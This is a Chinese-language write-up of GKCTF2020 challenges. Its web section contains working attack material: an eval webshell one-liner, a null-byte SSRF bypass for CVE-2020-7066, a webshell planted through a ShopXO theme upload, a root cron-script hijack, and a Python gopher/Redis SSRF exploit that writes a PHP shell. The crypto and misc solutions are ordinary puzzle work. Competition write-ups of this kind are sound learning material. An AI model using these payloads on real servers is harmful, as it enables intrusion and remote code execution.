WEB
[GKCTF2020]CheckIN
<title>Check_In</title> <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); } public function x() { return $_REQUEST; } } new ClassName();
无论是GET还是POST传入的“Ginkgo”,都会base64解码一次然后执行它的值。
首先查看phpinfo():
/?Ginkgo=cGhwaW5mbygpOw==
发现禁用了如下函数:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,
涉及到执行系统命令的函数都被安排的明明白白Q Q,但是比较幸运的是“eval”等执行php代码的函数没有被过滤,可以构造一句话木马,用蚁剑等第三方工具连接:
?Ginkgo=ZXZhbChAJF9QT1NUWydyb290J10pOw
eval(@$_POST[‘root’]);
在根目录发现了“flag”文件和“readflag”文件,“flag”文件无法下载,而“readflag”是一个elf文件,正常执行它即可得到flag,但是服务端 disable_functions 禁用了命令执行函数,没有权限。
这里考虑到,Linux中有一个存放临时文件的目录”tmp”,每个用户对tmp目录都有写权限,在这里上传一个绕过disable_functions的脚本(感谢False狮虎),别忘记修改里面的命令,直接改为“/readflag”,上传后包含它即可:
[GKCTF2020]cve版签到
已经提示是CVE-2020-7066,参考:
https://bugs.php.net/bug.php?id=79329
<?php // user input $_GET['url'] = "http://localhost\0.example.com"; $host = parse_url($_GET['url'], PHP_URL_HOST); if (substr($host, -12) !== '.example.com') { die(); } $headers = get_headers($_GET['url']); var_dump($headers); ?>
get_headers()在其使用的URL中的空字节之后,将无提示地截断任何内容。
预期结果:
Warning: get_headers() expects parameter 1 to be a valid path, string given in php shell code on line 1
NULL
实际结果:headers from http://localhost
这道题尝试传入url=http://127.0.0.1%00www.ctfhub.com
根据提示(Tips)里的内容,把ip改为127.0.0.123
[GKCTF2020]老八小超市儿
一个CMS站,拉到最底下可以找到Powered by ShopXO v1.8.0。
善用搜索不难找到它的后台地址和默认登录口令:
参考:http://www.nctry.com/1660.html 进行后台getshell复现。
在后台找到应用中心-应用商店-主题,然后下载默认主题。在如图所示文件夹放一个一句话木马,打包整个default文件夹:
回到网页上,找到网站管理-主题管理-主题安装,安装即可。蚁剑连接:url/public/static/index/default/shaw.php
在根目录找到了假flag+提示:
flag{this_is_fake_flag/true_flag_in_/root}
Mon May 25 03:07:03 2020
Get The RooT,The Date Is Useful!
root目录没有权限,不能直接访问。
根目录还有一个红色的auto.sh文件,在终端使用”ps -ef”可以查看全部进程,其中“ps”是在Linux中是查看进程的命令,“-e”参数代表显示所有进程,“-f”参数代表全格式。可以看到auto.sh是以root权限执行的:
#!/bin/sh while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done
顺藤摸瓜,找到可疑的makeflaghint.py文件,修改内容为如下:
1分钟后,在根目录下的1.txt得知/root目录下有一个flag,改命令查看它即可:
os.system("cat /root/flag > /2.txt")
CRYPTO
[GKCTF2020]小学生的密码学
e(x)=11x+6(mod26) 密文:welcylk
在线解即可。
[GKCTF2020]babycrypto
性感EDS狮虎在线教授觅马学。这道题考了Coppersmith partial information attack算法,p前面的部分是高位,后面的0就是低位,0只是占位的作用并不是真正p的值,低位丢失高位泄露。
可以用这个脚本:
p = 0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000 n = 0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005 kbits = 32 * 4 PR.<x> = PolynomialRing(Zmod(n)) f = x + p x0 = f.small_roots(X=2^kbits, beta=0.4)[0] print("x: %s" %hex(int(x0))) p = p+x0 print("p: ", hex(int(p))) assert n % p == 0 q = n/int(p) print("q: ", hex(int(q)))
其中kbit是未知的p的低位位数,这道题有32个0,每个0是4位,因此是32*4,
x0为求出来的p低位。
已知pqce,随便梭一哈:
import gmpy2 import libnum c=1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361 q=0xc61299f2225c544bd9b829e1d1634657f6b3656abc3fb407d6590aadf715413314a40e3388e5c5bfb28fbfefbd24a41234b568509f61b415bfdad10203e623edb98fd8a1b44b931ce7b6f85e8e0ea89bdd004298ade3ff59b46fa2da4e6732455492374a37408189a463d3e3d7657d26305326d03368171f8a6e0b12eaa01c37 p=0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b92826225b6d0e735440b613a8336ffa3 e=65537 n = p*q d=gmpy2.invert(e,(p-1)*(q-1)) m = pow(c,d,n) print m print libnum.n2s(m)
运行得到flag。
[GKCTF2020]汉字的秘密
当铺密码,有几个笔划出头就是数字几。
69 74 62 67 118 83 72 77 86 55 71 #EJ>CvSHMV7G 57 82 57 64 63 51 107 #9R9@?3k
合起来是EJ>CvSHMV7G9R9@?3k
下面这一步比赛的时候没想到,是变异凯撒,我好像傻了。。:
a = "EJ>CvSHMV7G9R9@?3k" number = 1 for i in range(len(a)): print(chr(ord(a[i])+number).lower(),end="") number+=1
MISC
[GKCTF2020]Pokémon
首先下载一个gba模拟器加载游戏。图走道方便可以添加穿墙金手指:
点击CodeBreaker,输入:
80937B15 015E46E3
78DA95DF 44018CB4
向上走可以找到flag:
[GKCTF2020]code obfuscation
修补二维码:
得到base(gkctf)
把题目文件用十六进制编辑器打开,会发现除了png外,下方还有疑似rar压缩文件的数据,给它单独提取出来,是需要密码的,尝试用各种base加密gkctf,最后用base58(CfjxaPF)打开了压缩包:
1文件内容如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('15 n 14 a b c d e f g h i j k l m n o p q r s t u v w x y z 10 11 17="n"12 15 n 14 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 10 11 17="n"12 13=0 15 n 14 a b c d e f g h i j 10 11 16="n"13=$((13+1))12 1g("1f=\' \';1e=\'"\';16=\'#\';1j=\'(\';1i=\')\';1h=\'.\';1a=\';\';19=\'<\';18=\'>\';1d=\'1c\';1b=\'{\';1k=\'}\';1t=\'0\';1u=\'1\';1s=\'2\';1r=\'3\';1n=\'4\';1m=\'5\';1l=\'6\';1q=\'7\';1p=\'8\';1o=\'9\';")',62,93,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||do|eval|done|num|in|for|Bn|An|Ce|Cc|Cb|Cn|_|Cl|Bm|Bk|alert|By|Bt|Bs|Cp|Dg|Df|De|Dj|Di|Dh|Dd|Dc|Da|Db'.split('|'),0,{}))
一坨js,执行不了,把eval改为console.log,运行后自己排版后得到代码如下:
for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An = "n" done for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An = "n" done num = 0 for n in a b c d e f g h i j do eval Bn = "n" num = $((num + 1)) done alert( "Bk=' '; Bm='"'; Bn='#'; Bs=' ('; Bt=')'; By='.'; Cb=';'; Cc=' < '; Ce=' > '; Cl='_ '; Cn=' {'; Cp='}'; Da='0'; Db='1'; Dc='2'; Dd='3'; De='4'; Df='5'; Dg='6'; Dh='7'; Di='8'; Dj='9'; ")
flag3.png:
找一个文字识别工具,对照代码表替换一下:
#include <stdio.h> int main(){ print('w3lc0me_4o_9kct5'); return 0; }
[GKCTF2020]Harley Quinn
是我非常喜欢的哈莉奎因qwq,题目已经提示“先听后看就完事了”,首先先看音频:
把wav用audaticy打开,很明显看到结尾多了一段:
截取出来,用dtmf2num识别按键音:
2228333444777773338866
九宫格密码,按下相同数字(感谢盖乐希狮虎和L1near狮虎)得到:ctfisfun
提示FreeFileCamouflage,拿这个解密,上一步得到的是密钥:
[GKCTF2020]EZ三剑客-EzWeb
查看源代码发现?secret,访问后得到一个ip,把ip输入到题目的表单里抓包,进行C段扫描,可以发现一些内网的服务和存活主机,其中有一台机器给了提示:
扫描这台主机开放的端口,在6379端口有一个报错:
-ERR wrong number of arguments for ‘get’ command
查询资料得知是Redis,它是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。
尝试通过ssrf和redis的未授权访问打入内网getshell,Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。exp如下:
import urllib protocol="gopher://" ip="173.15.198.11" port="6379" shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
运行后得到一串gopher://:
gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,gopher失去了昔日的辉煌。现在,gopher协议是ssrf利用中最强大的协议。
脚本生成的东西再编码一次后放入表单里,生成了shell.php。绕过空格过滤查看flag:
⚪参考:
https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzWeb